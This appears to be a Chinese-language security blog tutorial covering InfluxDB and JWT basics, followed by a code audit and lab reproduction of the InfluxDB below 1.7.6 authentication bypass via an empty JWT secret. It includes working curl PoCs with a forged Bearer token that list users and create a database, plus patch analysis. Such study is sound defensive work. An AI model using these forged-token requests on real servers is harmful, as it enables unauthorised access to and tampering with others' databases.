0x01 基本概念

Influxdb简介

TSDB(Time Series DataBase,时序数据库)是针对时间戳或时间序列数据进行优化的数据库,专门为处理带有时间戳的度量和事件度量而构建的。而时间序列数据可以是随时间跟踪、监视、下采样和聚合的度量或事件,如服务器指标、应用程序性能、网络数据、传感器数据以及许多其他类型的分析数据。

Influxdb是一个开源的时序数据库,由GO语言编写,用于处理高写入和高查询负载。Influxdb被广泛应用于存储系统的监控数据,IoT行业的实时数据等场景。

关键特性

Influxdb具有以下关键特性:

  • 能够高速读取和压缩时间序列数据
  • 使用 Go 编写,能够但文件运行,没有依赖
  • 提供了简单、高效的 HTTP 读写接口
  • 能够使用插件支持其他的数据协议,如: Graphite=, =collectdOpenTSDB
  • 可轻松使用 SQL 语言查询聚合数据
  • 能够使用 Tag 进行快速高效的查询
  • 支持保留策略(Retention Policy), 能够自动清理旧数据
  • 支持持续查询,能够自动定期计算聚合数据,提高了查询的效率

与传统数据库的概念比较

Influxdb 传统数据库
database 数据库
measurement 表,但不支持联合查询
point 表中的一行数据

其中point由时间戳(time)、数据(field)、标签(tags)组成,相当于传统数据库里的一行数据:

point属性 传统数据库中的概念
time 主键
tags 有索引的列
fields 没索引的列

目录与文件结构

Influxdb的数据存储即在其根目录下的database目录中主要有三个目录。默认情况下是meta、wal和data。

  • meta目录:用于存储数据库的一些元数据,meta目录下有一个meta.db文件;
  • wal目录:存放预写日志文件,以.wal结尾;
  • data目录:存放实际存储的数据文件,以.tsm结尾。

配置

InfluxDB的配置文件为:/etc/influxdb/influxdb.conf

选项详情请参见:Configuration Settings

常用的InfluxQL语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
-- 查看所有的数据库
show databases;
-- 使用特定的数据库
use database_name;
-- 查看所有的measurement
show measurements;
-- 查询10条数据
select * from measurement_name limit 10;
-- 数据中的时间字段默认显示的是一个纳秒时间戳,改成可读格式
precision rfc3339; -- 之后再查询,时间就是rfc3339标准格式
-- 或可以在连接数据库的时候,直接带该参数
influx -precision rfc3339
-- 查看一个measurement中所有的tag key
show tag keys
-- 查看一个measurement中所有的field key
show field keys
-- 查看一个measurement中所有的保存策略(可以有多个,一个标识为default)
show retention policies;

Influxdb函数详解

参考:influxdb函数详解

HTTP接口

Influxdb相关接口具体可参考官方文档:

下面之看下几个简单的例子。

/query

数据主要使用/query接口查询,下面给出一些常见用法,而更多用法参见:Querying data with the HTTP API

  • 创建数据库

    POST请求可用于创建数据库,如:

    1
    curl -X POST http://localhost:8086/query --data-urlencode "q=CREATE DATABASE <databasename>"
  • 查询

    1
    curl -X GET http://localhost:8086/query?pretty=true --data-urlencode 'db=<database name>' --data-urlencode 'q=SELECT "field1","tag1"... FROM <measurement> WHERE <condition>'

/write

发送POST请求是写入数据的主要方式,下面给出一些常见用法,而更多用法参见:Writing data with the HTTP API

  • 插入一条Point:

    1
    curl -X POST http://localhost:8086/write?db=<database name> --data-binary "cpu_load,machine=001,region=cn value=0.56 1555164637838240795"

    必须指定database name

身份认证机制——JWT

Influxdb支持基于密码的身份认证和基于JWT的身份认证。

下面详细介绍JWT机制。

JWT基本原理

JWT即JSON Web Tokens,是目前最流行的跨域身份验证解决方案。

JWT的原理就是在服务器身份验证之后,将生成一个JSON对象并将其发送回用户,如下:

1
2
3
4
5
{
"Username": "mi1k7ea",
"Role": "Admin",
"Expire": "2020-01-01 00:00:00"
}

此后,用户与服务端通信时,都要发回这个JSON对象。服务器完全只靠这个对象认定用户身份。为了防止用户篡改数据,服务器在生成这个对象的时候,会加上签名。

服务器不保存任何session数据,也就是说,服务器变成无状态,从而比较容易实现扩展。

JWT原理图

如下:

JWT结构

一个示例的JWT如下:

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

这是一个很长的字符串,中间用点.分隔成三个部分。

一个JWT实际上就是一个字符串,由三部分组成:

  • Header(头部)
  • Payload(载荷)
  • Signature(签名)
Header(头部)

Header部分是一个JSON对象,描述JWT的元数据,通常是下面的样子。

1
2
3
4
{
"alg": "HS256",
"typ": "JWT"
}

上面代码中,alg属性表示签名的算法(algorithm),默认是HMAC SHA256(写成HS256);typ属性表示这个令牌(token)的类型(type),JWT令牌统一写为JWT。

最后,将上面的JSON对象使用Base64URL算法转成字符串。

Payload(载荷)

Payload部分也是一个JSON对象,用来存放实际需要传递的数据。JWT规定了7个官方字段供选用:

  • iss (issuer):签发人
  • exp (expiration time):过期时间
  • sub (subject):主题
  • aud (audience):受众
  • nbf (Not Before):生效时间
  • iat (Issued At):签发时间
  • jti (JWT ID):编号

除了官方字段,你还可以在这个部分定义私有字段,下面就是一个例子。

1
2
3
4
5
{
"sub": "1234567890",
"name": "John Doe",
"admin": true
}

注意,JWT默认是不加密的,任何人都可以读到,所以不要把秘密信息放在这个部分。

这个JSON对象也要使用Base64URL算法转成字符串。

Signature(签名)

Signature部分是对前两部分的签名,防止数据篡改。

首先,需要指定一个密钥(secret)。这个密钥只有服务器才知道,不能泄露给用户。然后,使用 Header 里面指定的签名算法(默认是HMAC SHA256),按照下面的公式产生签名:

1
2
3
4
HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
secret)

算出签名以后,把Header、Payload、Signature三个部分拼成一个字符串,每个部分之间用.分隔,就可以返回给用户。

Base64URL算法

前面提到,Header和Payload串型化的算法是Base64URL。这个算法跟Base64算法基本类似,但有一些小的不同。

JWT作为一个令牌(token),有些场合可能会放到URL(比如api.example.com/?token=xxx)。Base64有三个字符+/=,在URL里面有特殊含义,所以要被替换掉:=被省略、+替换成-/替换成_ 。这就是Base64URL算法。

JWT的用法

客户端收到服务器返回的JWT,可以储存在Cookie或LocalStorage中。

此后,客户端每次与服务器通信,都要带上这个JWT。你可以把它放在Cookie里面自动发送,但是这样不能跨域,所以更好的做法是放在HTTP请求的头信息Authorization字段里面:

1
Authorization: Bearer <token>

另一种做法是,跨域的时候JWT就放在POST请求的数据体里面。

如何生成JWT

在线网站可生成JWT凭据:https://jwt.io/

0x02 Influxdb认证绕过漏洞

影响版本

Influxdb < 1.7.6 的版本。

漏洞原理及代码审计

Influxdb认证绕过漏洞,说白了就是默认的不安全配置导致的逻辑漏洞(未校验JWT的Signature部分的secret即密钥是否为空),可导致正常的身份认证被绕过。在Influxdb中,JWT的默认设置不会在“共享秘密”键中创建任何值。换句话说,默认情况下,创建有效的JWT令牌所需的“secret”为空。

下面我们下载1.7.5版本的Influxdb源码进行GO语言的代码审计,可控漏洞点出在哪里。

我们知道PoC是如下的形式:

1
curl -G 'http://xxx:8086/query' --data-urlencode 'q=show users' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE1Nzg1ODU2MDAsInVzZXJuYW1lIjoibWkxazdlYSJ9.eVk8Dp16Oz-0qqXN0eEZKXqQErlLRgAhe60yzholS7k'

那么直接搜索关键词来寻找对应的认证代码,如搜索“Authorization”,找到influxdb-1.7.5\services\httpd\handler.go这个文件。在其中看到authenticate()即认证函数,这里会调用parseCredentials()函数来解析凭证,然后根据返回的凭证方法到下面的switch语句中匹配:

跟进parseCredentials()函数,当中获取Authorization头字段,若不为空,则通过空格切割其值,然后switch语句匹配第一个值的内容,当匹配到“Bearer”时则返回包含Method为“BearerAuthentication”的creds变量:

返回到authenticate()函数中,继续往下,就能匹配到switch语句的BearerAuthentication代码块:

这段代码解析到token具体的值后,获取其中声明的exp和username的值,这里exp需要满足float64类型的数值、username需要是个字符串类型,接着根据username即用户名去查找是否存在该用户,若都不报错则调用inner()函数成功往下执行,即认证成功。

在这里我们可以明显看到,我们的JWT的Signature部分的secret即密钥是可以设置为空的,因为这里没有对其是否为空进行校验,并且默认也是为空的,即:

1
2
3
HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),)

由于没有使用密钥对前面两个部分的内容进行加密,因此任意用户只要知道用户名就可以构造JWT凭证来绕过认证。

漏洞复现

环境搭建

这里我们使用Docker来搭建漏洞环境。

依次执行如下命令即可:

1
2
3
4
5
6
7
8
# 搜索Influxdb Docker容器
docker search influxdb
# 拉取漏洞版本的镜像
docker pull influxdb:1.7.5
# 运行docker容器
docker run -it -d --name influxdb -p 8086:8086 influxdb:1.7.5
# 进入运行的docker容器中
docker exec -it influxdb /bin/bash

接着新建数据库用户,在influx终端运行如下命令创建新用户mi1k7ea:

1
2
3
4
5
6
7
8
> use _internal
Using database _internal
> create user "mi1k7ea" with password '123456' with all privileges
> show users
user admin
---- -----
mi1k7ea true
>

然后在Influxdb的配置文件/etc/influxdb/influxdb.conf中添加配置开启认证:

然后重启即可。

信息搜集

先确定版本号是否存在漏洞,这里看到版本为1.7.5 < 1.7.6,是存在认证绕过漏洞的版本:

接着,判断Influxdb服务绑定的端口号以及是否在公网进行监听:

默认情况下,Influxdb服务是绑定在8086端口上供其他进程访问的。如果是监听在公网上,则存在未授权访问漏洞,漏洞危害达到最大化。

下面的利用先在本地测试。

输入如下命令进行用户名发现:

1
curl -G 'http://127.0.0.1:8086/debug/requests'

可以看到并没有返回数据库相关的用户名。

尝试直接访问/query接口,发现没有认证凭据不能访问:

1
curl -G -X POST 'http://127.0.0.1:8086/query' --data-urlencode 'q=show users'

构造PoC

下面我们就来构造实现认证绕过的JWT。

由前面的分析知道,我们需要填写的仅仅是第二部分的Payload中的username和exp而已。这里username是Influxdb中存在的用户名即可,而exp (expiration time)即认证有效时间,需要我们设置得比当前时间大。

我们可以通过在线工具方便地获取:

除了线上的方法,这里列下几种编程语言生成时间戳的代码实现。

Java:

1
(int) (System.currentTimeMillis() / 1000)

Python:

1
2
import time
time.time()

PHP:

1
time()

这样,就可以直接到https://jwt.io/中构造JWT了,这里攻击者只需知道Influxdb数据库存在mi1k7ea用户即可(注意:第三部分Signature中的secret即密钥设置为空,因为默认都是无共享密钥的,即使目标服务端设置了我们也无从知道也无法利用):

最终PoC如下:

1
curl -G 'http://127.0.0.1:8086/query' --data-urlencode 'q=show users' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE1Nzg1ODU2MDAsInVzZXJuYW1lIjoibWkxazdlYSJ9.eVk8Dp16Oz-0qqXN0eEZKXqQErlLRgAhe60yzholS7k'

本地利用效果如图,成功查询得到用户信息:

修改下PoC的利用方式,添加新的数据库:

1
curl -G 'http://127.0.0.1:8086/query' --data-urlencode 'q=create database hacked' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE1Nzg1ODU2MDAsInVzZXJuYW1lIjoibWkxazdlYSJ9.eVk8Dp16Oz-0qqXN0eEZKXqQErlLRgAhe60yzholS7k'

远程利用也是一样的,直接往目标服务端的Influxdb接口发送PoC即可成功利用:

补丁分析

这里下载1.7.6版本的Influxdb,打开influxdb-1.7.6\services\httpd\handler.go这个文件对比发现,在解析JWT之前多了一段代码:

可以看到该代码判断当前JWT的secret即密钥是否为空,若为空则直接报错,从而修补了漏洞。

修复方案

升级Influxdb至最新版即可。

0x03 参考

When all else fails – find a 0-day

JSON Web Token 入门教程